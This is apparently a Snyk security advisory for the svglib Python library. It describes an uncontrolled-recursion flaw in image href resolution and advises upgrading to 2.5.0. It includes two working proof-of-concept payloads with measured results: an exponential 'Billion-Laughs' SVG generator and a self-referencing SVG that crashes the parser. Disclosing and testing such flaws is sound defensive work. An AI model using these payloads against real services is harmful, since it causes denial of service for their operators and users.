Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Uncontrolled Recursion vulnerabilities in an interactive lesson.
Start learningUpgrade svglib to version 2.5.0 or higher.
svglib is a library for reading SVG files and converting them (to a reasonable degree) to other formats using the ReportLab Open Source toolkit.
Affected versions of this package are vulnerable to Uncontrolled Recursion via SvgRenderer.renderNode() in src/svglib/svglib.py, which resolves <image xlink:href="#..."> and <image href="#..."> fragment references by calling self.renderNode(target) recursively without enforcing the expansion limits (MAX_USE_EXPANSIONS, MAX_USE_CLONED_ELEMENTS) or cycle detection (self._use_stack) that protect renderUse(). An attacker can pass an SVG to svg2rlg() containing a DAG of nested groups with paired <image href="#..."> references to trigger exponential CPU and memory consumption (a Billion-Laughs-style amplification), or a self-referencing <image id="a" href="#a"/> to cause an immediate unhandled RecursionError crash.
2^n Billion-Laughs CPU/Memory Exhaustionimport time from svglib.svglib import svg2rlg import io18 levels of binary-tree <image href="#gN"/> amplification = 2^18 (262,144) expansions from a 1.6 KB SVG
depth = 18 defs = ['<g id="g0"><rect width="10" height="10"/></g>'] for i in range(1, depth + 1): defs.append(f'<g id="g{i}"><image href="#g{i-1}"/><image href="#g{i-1}"/></g>')
svg_payload = f'<svg xmlns="http://www.w3.org/2000/svg"><defs>{"".join(defs)}</defs><image href="#g{depth}"/></svg>' print(f"Payload size: {len(svg_payload)} bytes")
t0 = time.perf_counter() drawing = svg2rlg(io.BytesIO(svg_payload.encode())) print(f"Elapsed: {time.perf_counter() - t0:.2f}s")
On svglib 2.3.1 (HEAD), a 1,468-byte SVG (depth=16) executes 131,071 recursive renderNode() calls in 1.70s (bypassing MAX_USE_EXPANSIONS = 1000 by over 130x), and depth=22 (~1.9 KB SVG, 8.3 million expansions) hangs the process and exhausts gigabytes of RAM building nested ReportLab Group objects.
#
RecursionError via Self-Referenceimport io from svglib.svglib import svg2rlg
svg_cycle = b'<svg xmlns="http://www.w3.org/2000/svg"><image id="a" href="#a"/></svg>' svg2rlg(io.BytesIO(svg_cycle))